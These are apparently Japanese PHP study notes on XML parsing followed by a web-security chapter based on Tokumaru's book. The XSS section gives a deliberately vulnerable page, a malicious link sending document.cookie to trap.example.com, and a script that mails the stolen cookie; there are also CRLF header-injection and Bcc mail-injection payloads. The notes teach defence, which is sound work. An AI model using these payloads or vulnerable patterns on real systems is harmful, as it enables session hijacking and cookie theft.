attribs第 3 のパラメーターである attribs は、その要素の (全)属性に関する連想配列です。この配列のキーは属性の名前であり、 値は属性の値です。属性の名前は、要素名と同様に 大文字変換 となります。 属性の値は、大文字変換 されません。 この属性は、each() を使用して attribs を順次アクセスすることにより、 元の順序で取得することができます。 配列の最初のキーが最初の属性であり、後も同様です。注意: 関数名の代わりに、オブジェクトへの リファレンスを格納した配列とメソッド名を指定することもできます。

end_element_handlerという名前の関数は、 2 つのパラメーターをとる必要があります。
end_element_handler ( resource $parser , string $name )
parser 最初のパラメーターである parser は、 ハンドラをコールする XML パーサへのリファレンスです。
name2 番目のパラメーターである name は、 このハンドラがコールされた要素の名前を有しています。このパーサにおいて 大文字変換 が有効な場合、要素名は大文字になります。ハンドラ関数が空の文字列または FALSE に設定されている場合、そのハンドラは無効です。」php公式マニュアル。
bool xml_set_character_data_handler ( resource $parser , callable $handler ) XML パーサ parser の文字データ用ハンドラ関数を設定します。
bool xml_set_processing_instruction_handler ( resource $parser , callable $handler ) XML パーサ parserの処理命令 (PI) 用ハンドラ関数を設定します。
xml_parser_get_option/xml_parser_set_option XMLパーサーのオプションを設定・取得します。
int xml_get_error_code ( resource $parser ) XML パーサのエラーコードを取得します。
string xml_error_string ( int $code ) エラーコード code の説明を有する文字列を 返します。
<?php
$xml = <<<EOF
<?xml version='1.0' encoding='UTF-8'?>
    <books>
        <book>
            <title>第9章XMLパーサ
            </title>
            <desc>XMLパーサのテストです。</desc>
        </book>
    </books>
EOF;
$parser = xml_parser_create();
xml_set_character_data_handler($parser, function($parser, $data) {
   echo '[' . $data . ']'; 
});
if (! xml_parse($parser, $xml)) {
    $ecode = xml_get_error_code($parser);
    echo xml_error_string($ecode);
}
xml_parser_free($parser);

// 出力
// [ ][ ][ ][第9章XMLパーサ ][ ][XML][パーサのテストです。][ ][ ]

ファイルから読み込み

<?php
$file = 'example.xml';
$size = filesize($file);
$f = fopen($file, 'r');
$data = fread($f, $size);
$parser = xml_parser_create();
xml_set_character_data_handler($parser, function($parser, $data) {
    echo '[' . $data . ']';
});
if (! xml_parse($parser, $data, feof($f))) {
    $ecode = xml_get_error_code($parser);
    echo xml_error_string($ecode);
}
xml_parser_free($parser);
// 出力
// [ ][ ][ ][第9章XMLパーサ ][ ][XML][パーサのテストです。][ ][ ]

example.xml

<?xml version='1.0' ?>
<books>
    <book>
        <title>第9章XMLパーサ
        </title>
        <desc>XMLパーサのテストです。</desc>
    </book>
</books>

DOM

関数 内容
public mixed DOMDocument::load ( string $filename [, int $options = 0 ] ) XML ドキュメントをファイルから読み込みます。
public mixed DOMDocument::loadXML ( string $source [, int $options = 0 ] ) XML ドキュメントを文字列から読み込みます。
public bool DOMDocument::loadHTMLFile ( string $filename [, int $options = 0 ] ) この関数は、filename という名前のファイルから 読み込んだ HTML ドキュメントをパースします。 XML を読み込む場合とは異なり、妥当な HTML でなくても 読み込むことができます。
public bool DOMDocument::loadHTML ( string $source [, int $options = 0 ] ) この関数は、文字列 source に含まれる HTML を パースします。XML を読み込む場合とは異なり、妥当な HTML でなくても 読み込むことができます。この関数をスタティックにコールすると、 読み込んだ内容をもとに DOMDocument オブジェクトを作成します。 読み込み前に DOMDocument のプロパティを 設定する必要がない場合に、スタティックに実行することがあるでしょう。

DOM, XPathを使ったスクレイピング

(loadHTMLの第2引数のLIBXML_HTML_NOIMPLIEDなどは、PHP5.4以降、libxml 2.7.8以降で使用できます。)

<?php
$dom = new DOMDocument(); // DOMパーサー取得
@$dom->loadHTML(
    mb_convert_encoding(file_get_contents('example.html'), 'HTML-ENTITIES', 'UTF-8'), // DOMパーサはhtml5形式の文字コード指定へ対応していないための対策
    LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD
);
// XPath処理
$xpath = new DOMXPath($dom);
$node  = $xpath->query('//div[@id="item1"]/span')->item(0);
$value = $node !== null ? $node->nodeValue : '';
echo $value; // タイトル1

example.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>DOMのテスト</title>
</head>
<body>
<div class="items">
    <div id="item1" class="item">
        <span class="title">タイトル1</span>
        <span class="contents">内容1</span>
    </div>
    <div id="item2" class="item">
        <span class="title">タイトル1</span>
        <span class="contents">内容1</span>
    </div>
</div>
</body>
</html>
<?php
// saveHTML() にノードを渡せるのはPHP 5.3.6以降
$dom = new DOMDocument();
$dom->loadHTML('<ul><li>a</li><li>b</li></ul>');
$xpath = new DOMXPath($dom);
$listNodes = $xpath->query('//li');
$listNode = $listNodes->item(0);
echo $dom->saveHTML($listNode);
?>
// <li>a</li>

XSLT

XSLTProcessorクラスメソッド 意味
public bool XSLTProcessor::importStylesheet ( object $stylesheet ) このメソッドは XSLTProcessor に変換のためのスタイルシートを取り込みます。
string XSLTProcessor::transformToXML ( object $doc ) xsltprocessor::importStylesheet() メソッドで与えられたスタイルシートを適用し、 ソースノードを文字列に変換します。

SimpleXML

ドキュメント読込関数(3つ)

返り値|関数|意味 —|—|— SimpleXMLElement| simplexml_load_file ( string $filename [, string $class_name = “SimpleXMLElement” [, int $options = 0 [, string $ns = “” [, bool $is_prefix = false ]]]] )| 指定したファイルの中の整形式 XML ドキュメントをオブジェクトに変換します。 SimpleXMLElement| simplexml_import_dom ( DOMNode $node [, string $class_name = “SimpleXMLElement” ] )|この関数は、DOM ドキュメントのノードを引数とし、 SimpleXML ノードを作成します。この新しいオブジェクトは、 この後、通常の SimpleXML 要素として使用できます。 SimpleXMLElement| simplexml_load_string ( string $data [, string $class_name = “SimpleXMLElement” [, int $options = 0 [, string $ns [, bool $is_prefix = false ]]]] )|整形式 XML 文字列をオブジェクトとして返します。

  • SimpleXMLはsimplexml_import_domでDOMDocument(DOMNode継承)を読込むことができます。 DOMDocumentはHTML文書を読込むことができます。

XML操作関数

関数 意味
public SimpleXMLElement SimpleXMLElement::children ([ string $ns [, bool $is_prefix = false ]] ) このメソッドは、指定した要素の子を見つけます。 結果は、通常の反復子により取得できます。
public array SimpleXMLElement::xpath ( string $path ) xpathメソッドは、 XPath pathにマッチする SimpleXML ノードを検索します。
public string SimpleXMLElement::__toString ( void ) Returns text content that is directly in this element. Does not return text content that is inside this element’s children.
public string SimpleXMLElement::getName ( void ) 「XML 要素の名前を取得する」php公式マニュアル。
public mixed SimpleXMLElement::asXML ([ string $filename ] ) SimpleXML 要素に基づき整形式の XML 文字列を返す
  • SimpleXMLElement::childrenは子要素を取得します。孫要素は取得しません。
  • SimpleCMLElement::getNameは要素名を取得します。属性は取得しません。
  • テキストノードは代入で書き換えることができます(要素の追加はaddChildメソッドを使います)。
<?php
$xml = <<<EOF
<?xml version='1.0' ?>
<a>
    <b>
        <c>
            <price>100</price>
            <num>5</num>
        </c>
        <c>
            <price>80</price>
            <num>8</num>
        </c>
    </b>
</a>
EOF;
echo '----- テキストノード出力 -----';
$doc   = simplexml_load_string($xml);
$nodes = $doc->b->c[1]->children();
foreach ($nodes as $node) {
    // $nodeは SimpleXMLElementのインスタンス
    echo ($node instanceof SimpleXMLElement);  // true
    
    var_dump($node); 
    // 最初のイテレーター
    // object(SimpleXMLElement)
    //    public 0 => string '80' (length=2)
    // 次のイテレーター
    // object(SimpleXMLElement)[5]
    //     public 0 => string '8' (length=1)

    var_dump($node->__toString());             // $node->__toString()と等価 最初のイテレーター80, 次のイテレーター8
    echo $node;                                // echo $nodeは$node->__toStringを呼び出す。最初のイテレーター80, 次のイテレーター8
}
echo '----- 要素名出力 -----';
foreach ($nodes as $node) {
    var_dump($node->getName());
}
echo '---- テキストノード書き換え -----';
$doc->b->c[1]->price = 200;
$doc->b->c[1]->num   = 10;
$nodes               = $doc->b->c[1]->children();
foreach ($nodes as $node) {
    var_dump($node);
}
echo '--- XMLとして出力 ---';
var_dump($doc->asXML());

XML-RPC

XMLデータをHTTPプロトコルで通信しサーバーのメソッドなどを呼び出すことができます。

関数 意味
resource xmlrpc_server_create ( void ) xmlrpc_server_create — xmlrpc サーバーを作成する
bool xmlrpc_server_register_method ( resource $server , string $method_name , string $function ) xmlrpc_server_register_method — メソッド名が一致するメソッドリソースに PHP 関数を登録する
string xmlrpc_server_call_method ( resource $server , string $xml , mixed $user_data [, array $output_options ] ) xmlrpc_server_call_method — XML リクエストをパースし、メソッドをコールする

<![CDATA[テキストデータ]]>

<![CDATA[から]]>まではテキストデータと認識されるのでXMLのメタ文字をテキストと解釈します。

<?php
$xml = <<<EOF
<?xml version='1.0' ?>
<a>
    <b>
        <c>
            <price>100</price>
            <num>5</num>
        </c>
        <c>
            <price><![CDATA[<strong>100</strong>]]></price>
            <num>8</num>
        </c>
    </b>
</a>
EOF;
echo '----- テキストノード出力 -----';
$doc   = simplexml_load_string($xml);
$nodes = $doc->b->c[1]->children();
foreach ($nodes as $node) {
    // toString
    var_dump($node->__toString());
}
string '<strong>100</strong>' (length=20)
string '8' (length=1)

10章 セキュリティ

参考資料

本記事内容

徳丸本記載内容

  • 表示処理に伴う問題
    • XSS ○
    • エラーメッセージからの情報漏洩
  • SQLインジェクション ○
  • CSRF ○
  • セッション管理不備(推測、盗み出し、強制) ○
  • リダイレクト処理にまつわる脆弱性
    • オープンリダイレクタ
    • HTTPヘッダ・インジェクション ○
  • クッキー ○ 5章 WEBに関するテクニック > クッキー
  • メールヘッダインンジェクション ○
  • ファイルアクセスにまつわる問題
    • ディレクトリ・トラバーサル ○
    • 意図しないファイル公開 ○
      • ディレクトリ・リスティング(Directory Listing)
  • OSコマンドインジェクション ○
  • ファイルアップロードにまつわる問題
    • アップロードの問題 ○
    • ダウンロードの問題
  • インクルードにまつわる問題 ○ 11章 アプリケーションのテクニック > require/include
  • evalにまつわる問題
  • 共有資源に関する問題

基礎知識

HTMLフォーム入力域

<input type="text" name="foo" value="Input area sample.">
<textarea name="bar">Text area sample.</textarea>
  • input要素のvalue値は<, >をメタ文字と解釈しません(hiddenも含みます)。
  • <textarea>と</textarea>で囲まれた部分は</textarea>を除いて<, >をメタ文字と解釈しません。

<, >はHTMLのメタ文字と解釈されないので下記コードはJavaScriptを実行しません。

<textarea name="bar"><script>alert('Script');</script></textarea>

もちろん上記内容を送信しdiv要素などへ表示した場合はスクリプトが実行されます。

  • input, textareaとも入力エリアへ表示する際にHTMLエンティティ(&lt;や&gt;など)は通常の文字(<, >)へ変換します。

表示ではHTMLエンティティは通常の文字へ変換されるので下記内容はHTMLエンティティではなく変換された<, >が送信されます。
そのため下記コードで送信ボタンを押すとJavaScriptが実行されます。
&lt;は<へ&gt;は>へ変換された内容が送信されるためです。

<textarea name="bar">&lt;script&gt;alert('Script.');&lt;/script&gt;</textarea>
<input type="submit" name="send" value="送信">
...
...
echo '<p>' . $_POST['bar'] . '</p>';

最新のブラウザはX-XSS-Protection:が有効のため上記例はブラウザ側で防御され実行を確認できない可能性があります。
ヘッダーにX-XSS-Protection:0をつけて試すと実行されます。
(なお、X-XSS-Protectionによるブラウザ側の防御は現在は廃止・非推奨です。XSS対策はエスケープとContent-Security-Policyで行ってください。)

一方、入力者がテキストエリアへ直接&lt;script&gt;alert('Script.');&lt;/script&gt;を入力したときは&lt;, $gt;自体が送信されるのでスクリプトは実行されません。つまりinput, textareaは見たままを送信します。

入力検証、エスケープ、サニタイズ

  • 入力値の検証はデータの整合性を保証します。
  • エスケープ処理はデータをサニタイズ(無害化)する手段です。XSSなどのセキュリティ対策は出力のエスケープ処理で対応します。

エスケープ処理とはサニタイズ(無害化)の手段です。
またエスケープは異なるコンテキストでもデータの内容をそのまま保持するためのテクニックのことでもあります。

同一生成元ポリシー

同一生成元ポリシー(same origin policy)とは、JavaScriptによるサイトをまたがったアクセスを禁止するセキュリティ上の制限であり、ブラウザのサンドボックスに用意された制限の1つです。

「安全なWebアプリケーションの作り方」(徳丸 p58)

同一生成元ポリシーに違反した例(Google Chrome)
アクセス元 アクセス先
example.jp example.com

example.jp/violation.html

<html>
<body>
    <script src="/jquery.js"></script>
    <script>
        .....
        $.get('http://example.com/xxx', function(data) {
          // 成功時の処理
        });
    </script>
</body>

上記はexample.jpからexample.comへサイトをまたいだアクセスのためエラーとなります。

XMLHttpRequest cannot load http://example.com/xxx. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://example.jp' is therefore not allowed access.
同一生成元ポリシー回避策
  • CORS(Cross-Origin Resource Sharing)
  • JSONP
CORS(Cross-Origin Resource Sharing)

HTTPレスポンスのAccess-Control-Allow-Originヘッダで許可するアクセス元を指定します。
例えば全てのアクセス元を許可するときは下記のヘッダになります。

Access-Control-Allow-Origin: *
[HTTP アクセス制御 (CORS) - HTTP MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/HTTP_access_control)

XSS

  • 脆弱性のある攻撃対象サイト(A): target.example.com
    このサイトのクッキーを盗みたい
  • 悪意のあるサイト(B): trap.example.com

(図: サイトBに置いた罠のリンクからサイトAの脆弱性を突き、サイトAのクッキーをサイトBへ送らせる流れ)

攻撃対象サイト(A)の脆弱性

// http://target.example.com/xss/unsafe.php
<?php
session_start();
header('X-XSS-Protection: 0');
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
    <input type="text" name="keyword">
    <input type="submit" name="send" value="送信">
</form>
<p><?php echo isset($_GET['keyword']) ? 'Keyword: ' . $_GET['keyword'] : ''; ?></p>
</body>
</html>

悪意あるサイト(B)に設置した脆弱性をつくリンク

// パーセントエンコード%2Bは+
<a href="http://target.example.com/xss/unsafe.php?keyword=<script>window.location='http://trap.example.com/xss/attack_mail.php?cookie='%2Bdocument.cookie;</script>">悪意あるリンク</a>

target.example.comからのレスポンス

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
    <input type="text" name="keyword">
    <input type="submit" name="send" value="送信">
</form>
<p><script>window.location='http://trap.example.com/xss/attack_mail.php?cookie='+document.cookie;</script></p>
</body>
</html>

リダイレクト先の悪意あるサイト(B)のメール送信スクリプト

<?php
mb_language('Japanese');
mb_internal_encoding('UTF-8');

$cookie = $_GET['cookie'];
$to = 'info@trap.example.com';

$subject = mb_encode_mimeheader('XSSテスト', 'JIS');
$message = mb_convert_encoding($cookie, 'JIS');

$header_array = array(
    'Mime-Version: 1.0',
    'Content-Type: text/plain; charset=ISO-2022-JP',
    'Content-Transfer-Encoding: 7bit',
    'From: info@trap.example.com',
);
$headers = implode("\r\n", $header_array);
$mail_result = mail($to, $subject, $message, $headers);
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<?php echo $cookie; ?>
</body>
</html>

JavaScriptに関係するXSSでは、上記レスポンス内のスクリプトが、サイト(A)のオリジンで実行されてしまうことが大きな問題です。

上記レスポンスを返したサイト(A)のクッキー情報をブラウザ自身が(B)へ送信することはありません。 しかしレスポンス内のJavaScriptは(B)へリダイレクトする前にサイトAのクッキー情報を読み取りリダイレクトURLへ付与するのでサイト(A)のクッキーがサイトBへ送信されます。

対策

  1. イベントハンドラ、scriptタグ、styleタグ以外のすべての箇所で出力値をhtmlspecialchars/htmlentitiesでエスケープします。
    属性値への出力もhtmlspecialchars/htmlentitiesでエスケープします。
  2. イベントハンドラ,scriptタグ、styleタグおよび属性はhtmlspcialchars/htmlentitesでは足りず個別の対応が必要です(後述します)。
  3. セッションID用クッキー(通常PHPSESSID)のhttponly属性を有効にします(php.iniのsession.cookie_httponly = Onはセッションクッキーだけに作用します。その他のクッキーはsetcookieの第7引数httponlyで個別に指定します)。
  4. Apacheのhttpd.confでTraceEnable offを設定します。
  5. 多層防御として、ブラウザ側の防御機能に関するHTTPヘッダを設定します(XSS以外に作用するものを含みます。X-XSS-Protectionは現在は非推奨です)。
    • X-XSS-Protection: 1;mode=block
    • X-Content-Type-Options: nosniff
    • X-Frame-Options: DENY
    • Content-Security-Policy: default-src ‘self’
header('X-XSS-Protection: 1;mode=block');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header("Content-Security-Policy: default-src 'self'");  // 例(インラインスクリプトが使えなくなるため、実際のサイトに合わせて調整します)

htmlspecialchars/htmlentities

XSS対策は特殊文字&, <, >, ‘, “をHTMLエンティティ(文字参照)へエスケープし出力します。

変換前 変換後
& (アンパサンド) &amp;
” (ダブルクォート) &quot;
’ (シングルクォート) &#039; (ENT_HTML401 の場合) あるいは &apos; ( ENT_XML1、ENT_XHTML、 ENT_HTML5 の場合)。
< (小なり) &lt;
> (大なり) &gt;

引用 PHP: htmlspecialchars - Manual。

文字参照 - Wikipedia

関数名 内容 例
htmlspecialchars 特殊文字をHTMLエンティティ(文字参照)へ変換します。第2引数へENT_QUOTESを指定したときの特殊文字は&, <, >, ‘, “です。 htmlspecialchars(‘対象文字’, ENT_QUOTES, ‘UTF-8’);
htmlentities HTMLエンティティへ変換可能な全ての文字を変換します htmlentities(‘対象文字’, ENT_QUOTES, ‘UTF-8’);

(文字コード引数の既定値は、PHP5.4未満ではISO-8859-1、5.4以降ではUTF-8です。常に明示してください。)

htmlspecialcharsとhtmlentitiesの違い

htmlentitiesはHTMLエンティティへ変換可能な全ての文字を変換します。変換可能な文字は下記関数で取得できます。

get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES); // htmlspecialcharsが変換する文字種の確認
get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);     // htmlentitiesが変換する文字種の確認

JavaScript

分類
  • href属性値
  • イベントハンドラ
  • scriptタグ、styleタグ/属性
href属性

href属性はJavaScriptをJavaScriptプロトコル(javascript:)で記述することができます。
JavaScriptの混入を避けるためhref属性値へ外部の入力値を含めるときは属性値がhttp://やhttps://で始まっていることを確認してください。

イベントハンドラ,scriptタグ、styleタグ/属性
  • 入力値をUnicodeエスケープする方法が現実的です。
    Unicodeエスケープはハイフン、ピリオド、英数字以外をJavaScriptでUTF-16のビッグエンディアンを表す\uXXXXへ変換します。
    (\uXXXXはJavaScript文字列内の表記なので、ページ自体の文字コードがUTF-8でも使用できます。)
  • Unicodeエスケープができないときはイベントハンドラとscriptタグに分けて下記処理行ってください。
    • (1) JavaScriptの特殊文字(‘, “, \, 改行)をJavaScritpのコンテキストでエスケープします。
    • (2-1) イベントハンドラは(1)の結果をhtmlspecialchars/htmlentitiesでエスケープします。
    • (2-2) scriptタグのときは(1)の結果に</という文字が含まれていないかを検証します。

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2335). SBクリエイティブ株式会社. Kindle 版.

scriptタグの中は実体参照&lt;を<と解釈しません。そのため2-2でhtmlspecialchars/htmlentitiesでエスケープした場合は<自体を表示したいときに問題が出るので使えません。
同様に<ではなく</を検証するのは<自体を表現したいときの問題を避けるためです。HTMLの規格では</はscriptタグの中へ記述できないので</が記載されていないかを検証します。

Unicodeエスケープ

PHP逆引レシピ(p777)

$escaped = preg_replace_callback(
    '/[^-\.0-9a-zA-Z]+/u',
    function ($matches) {
        $u16 = mb_convert_encoding($matches[0], 'UTF-16');

        return preg_replace('/[0-9a-f]{4}/', '\u$0', bin2hex($u16));
    },
    $subject
);
echo $escaped;

Unicode ~ユニコードエスケープ形式とは~(文字コード関連) | 読み物 | ウナのIT資格一問一答

XSS対策としてエスケープする必要があるJavaScript文字
JavaScriptの文字列 JavaScriptのエスケープシーケンス
’ \’
" \”
\ \\
改行コード \n

JavaScript文字列としてエスケープ -> HTMLエスケープ

元入力 JavaScriptエスケープ後 HTMLエスケープ後
<>’”\ <>\’\”\\ &lt;&gt;\&#39\&quot;\\

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2301). SBクリエイティブ株式会社. Kindle 版.

クリックジャック

攻撃者のページが、対象ページを透明なiframeで重ねて表示し、利用者に気付かれないまま対象ページ上のボタンなどをクリックさせて、意図しない操作(購入、設定変更など)を実行させる攻撃です。

対策

ヘッダー 値
X-FRAME-OPTIONSヘッダー DENY フレームとして表示することを禁止します。
SAMEORIGIN 同一ドメインのみ表示を許可します。
header('X-FRAME-OPTIONS: DENY');

CSRF(cross-site request forgeries)

ログイン中の利用者のブラウザを介して、悪意あるサイトから偽造されたリクエストが送られ、対象サイトがそれを正規のリクエストとして処理してしまう脆弱性です。
CSRFでは下記の理解が重量です。

  1. form要素のaction属性は外部ドメインを指定可能です。
  2. 外部ドメインを指定したフォームのリクエストで外部ドメインで発行されたクッキー(つまりセッションIDも)が送信されます。

対策

外部から知ることのできないトークンをhidden属性値として埋め込みサーバー側でセッションを使いリクエストの妥当性を検証します。 トークンとして利用されるものに下記があります。

  • セッションごとに生成した乱数トークン(セッションID自体は使用しない)
  • ワンタイムトークン(nonce: number used once)

セッション値で良いかワンタイムトークンが必要かは開発ポリシーによります。

実装例(セッションごとに乱数トークンを生成)

セッションIDそのものをトークンとしてHTMLへ出力してはいけません。 HttpOnly属性を付けてもHTMLからセッションIDが読み取れてしまい、XSSやRefererヘッダで漏れたときにセッションを乗っ取られます。 セッションIDとは別の乱数トークンをセッションへ保存し、hiddenで送信して照合します。

<?php
session_start();

// トークンはセッションごとに1回だけ生成します(openssl_random_pseudo_bytesはPHP5.3以降)。
if (!isset($_SESSION['token'])) {
    $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = isset($_POST['token']) ? $_POST['token'] : '';
    // PHP5.6以降はhash_equals()で比較します(タイミング攻撃対策)。
    if (!is_string($token) || $token === '' || $token !== $_SESSION['token']) {
        header('HTTP/1.1 400 Bad Request');
        echo '不正なリクエストです。';
        exit;
    }
    // 正常な処理
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>CSRF対策あり</title>
</head>
<body>
<form action="" method="post">
    <input type="hidden" name="token" value="<?php echo htmlspecialchars($_SESSION['token'], ENT_QUOTES, 'UTF-8'); ?>">
    パスワード: <input type="password" name="password"><br>
    <input type="submit" name="send" value="送信">
</form>
</body>
</html>

ワンタイムトークン(nonce)にするときは、検証に成功した時点でトークンを破棄(unset)し、フォームを表示するたびに新しく生成します。

SQLインジェクション対策

  • 極力プリペアドステートメントを使用してください。
  • プリペアドステートメントが使えないときはPDO::quoteを使用してください(プリペアドステートメントが利用できるときはPDO::prepareを使用することが強く推奨されます)。
  • PDO以外を使用しているときはそのドライバが提供している専用の関数を使用してください。
    • mysqli_real_escape_string サーバーレベルで設定するなり API 関数 mysqli_set_charset() を使うなりして、 文字セットを明示しておく必要があります。この文字セットが mysqli_real_escape_string() に影響を及ぼします。出典 http://php.net/manual/ja/mysqli.real-escape-string.php
    • pg_escape_string
  • addslashesは汎用の文字列エスケープ関数で、SQL用のエスケープ関数ではありません(マルチバイト文字コードでは不十分なため、SQLインジェクション対策には使用しないでください)。

プリペアドステートメントはテーブル名やフィールド名には使用できません。そのためテーブル名やフィールド名へ外部からの入力を含めるときはプリペアドステートメントだけではSQLインジェクションの対策としては不十分です。

DB文字コード

DB処理は文字コード(多くの場合UTF-8)を正しく指定してください。

MySQLデータベース作成

mysql> CREATE DATABASE <database> DEFAULT CHARACTER SET utf8mb4;

PDOで文字コードを指定し接続

<?php
$pdo = new PDO(
    'mysql:host=<host>;dbname=<database>;charset=utf8mb4',
    '<user>', 
    '<password>'
);

HTTPヘッダインジェクション

HTTPヘッダは改行で区切られます。HTTPヘッダの中に改行を混入され意図しないヘッダを出力する脆弱性がHTTPヘッダインジェクションです。
またHTTPヘッダと本文は空白行で区切られるのでHTTPヘッダへ意図せぬ改行を2回連続で出力された後のデータがレスポンスボディとして表示されることで画面を改変されることも含まれます。

HTTPヘッダの例

Content-Encoding:gzip
Content-Length:16586
Content-Type:text/html; charset=UTF-8

PHP5.1.1以前ではheader関数は改行を検証しておらずHTTPヘッダインジェクションがありました。

<?php 
header('Location: ' . $_GET['url']);

http://example.jp/header.php?url=http://example/top.php%0d%0aSet-Cookie:+PHPSESSID%3DABC %0dはCR、%0aはLFで%0d%0aは改行(CRLF)を表します。上記は下記のヘッダを出力します。


Location: http://example/top.php
Set-Cookie: PHPSESSID=ABC

PHP5.1.2で改行を検証するようになり上記の問題はなくなりました。
改行を検証するようになったPHP5.1.2以降も攻撃によってHTTPヘッダインジェクションが起こる可能性がありましたが下記バージョンで対策が行われています。

  • 5.4.38
  • 5.5.22
  • 5.6.6
[PHPにおけるHTTPヘッダインジェクションはまだしぶとく生き残る 徳丸浩の日記](http://blog.tokumaru.org/2015/12/phphttp.html)

メールヘッダインジェクション

メールのヘッダーも改行で区切ります。下記のコードは意図せぬヘッダーを追加されるサンプルです。

<?php

$from = $_GET['from'];
mb_language('japanese');
mb_internal_encoding('UTF-8');

$to = 'info@example.jp';

$subject = '日本語の題名';
$message = '日本語メールの本文。';


$mail_result = mb_send_mail($to, $subject, $message, $from);
if ($mail_result) {
    echo '送信完了';
} else {
    echo '失敗';
}

http://php.net/manual/ja/function.mb-send-mail.php

クエリ文字

?from=From%3a+info@example.com%0d%0aBcc%3a+info@trap.example.com
// %0d%0aは改行(CRLF)をURLエンコーディングした値です。

上記コードはメールヘッダーへFromに加えBccも追加します。

対策

  • メールヘッダーに外部入力を含めない(Fromなどは固定値にする)。
  • 含めるときは、CR、LFが含まれていないことを検証し、含まれていればエラーにする。
  • mail関数の第5引数(additional_parameters)に外部入力を渡さない(渡すときはescapeshellargで無害化する)。

セッション推測、盗み出し、強制

対策

  • セッション管理はPHPが提供するセッション管理機構を使用してください(セッション推測対策)。 独自に実装しないでください。
  • php.iniのsession.use_only_cookiesを1に設定します(セッション盗み出し、強制対策)。
  • ログイン時にセッションを再生成し古いセッションを破棄します(セッション固定化対策)。
  • SSL化とクッキーのsecure属性(盗み出し対策)

セッション推測原因

不備のあるセッション管理機構の使用により起こります。
セッション管理はPHPが提供するセッション管理機構を使用してください。

盗み出し原因

  • クッキー 生成の際の属性不備により漏洩する
  • ネットワーク的にセッションIDが盗聴される
  • クロスサイト・スクリプティングなどアプリケーションの脆弱性により漏洩する
  • PHPやブラウザなどプラットフォームの脆弱性により漏洩する
  • セッションIDをURLに保持している場合は、Refererヘッダから漏洩する

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3168-3174). SBクリエイティブ株式会社. Kindle 版.

セッション固定化

URLによるセッションの埋め込みはsession.use_only_cookiesを1にすることで防ぐことができます。

クッキーにセッションIDを保持している場合でも、ブラウザやWebアプリケーションに脆弱性があると、クッキーのセッションIDを外部から設定できてしまい、セッションIDの固定化が可能になることがあります。クッキーを第三者が設定できる脆弱性には、次のようなものがあります(徳丸浩『体系的に学ぶ 安全なWebアプリケーションの作り方』の内容を要約)。

  • クッキーモンスター問題(ブラウザの脆弱性)
  • クロスサイト・スクリプティング
  • HTTPヘッダ・インジェクション

原則クッキーの値は第3者は変更できません。ただし下記の脆弱性がある場合は変更される可能性があります。

  • クッキー モンスター問題
  • クロスサイト・スクリプティング
  • HTTP ヘッダ・インジェクション

例えばXSSがありJavaScriptが実行できると下記コードでセッションを埋め込むことができます。

document.cookie = 'PHPSESSID=' + encodeURIComponent('注入したい値');

また不具合ではなくPHPのセッション管理機構は仕様上セッションアダプションが起こります。

セッションアダプション(Session Adoption)

先の攻撃シナリオで、PHPSESSID=ABCというセッションIDが使用されています。ABCは、攻撃者が勝手に作成したセッションIDですが、PHPには未知のセッションIDを受け入れるという特性があります。この特性はセッションアダプション(Session Adoption)と呼ばれます。

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方(p178)

セッションアダプションは、session.use_strict_mode = Onを指定すると解消されます(徳丸浩『体系的に学ぶ 安全なWebアプリケーションの作り方』の内容を要約。導入バージョンは公式マニュアルで確認してください)。

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3523-3524). SBクリエイティブ株式会社. Kindle 版.

その他注意点

推測、盗み出し、強制とは異なりますがセッションの持つ下記特性は重要です。
これは不備ではなくセッションの仕様です。

  • 外部ドメインを指定したフォームのリクエストで外部ドメインで発行されたクッキー(つまりセッションIDも)が送信されます。

特にCSRFが発生する原因として重要です。

session_regenerate_id(true)の動作

session_regenerate_id(true); // trueを指定しないと古いセッションが破棄されず利用できます。必ずtrueを指定してください。 

http://php.net/manual/ja/function.session-regenerate-id.php

  • cookieのPHPSESSIDを新しい値へ変更。
  • 古いセッションファイルを削除し新しいセッションファイル作成。内容は古いファイルと同じ(セッションは維持されている)。

ファイルアップロード

  • 拡張子がphpなどのプログラムはアップロードさせないでください。 通常のプログラムと同様にURLへアクセスし実行できます。
  • アップロードファイル名はアップロード者が自由に命名できます。<,>など禁止文字が含まれる可能性があります。
    アップロードファイル名をそのまま使用するのは好ましくありません。
  • 通常アップロードファイルの拡張子は画像(png, jpg, gif)のみに制限します。
    しかし拡張子はアップロード者が自由に指定できるため信用しないでください。
  • 画像かどうかの確認にはgetimagesize関数を使用できます。
    getimagesizeは画像であればマジックバイトを使い画像形式を返り値の2番目の要素で返します。
    ただし、画像ヘッダの後ろにPHPコードなどを連結したファイルも通ってしまうため、getimagesizeだけで安全とは言えません。
  • アップロードされたファイルは公開ディレクトリの外へ保存するか、保存先ディレクトリでスクリプトの実行を禁止してください。必要ならGDなどで再エンコードして保存します。

array getimagesize ( string $filename [, array &$imageinfo ] )

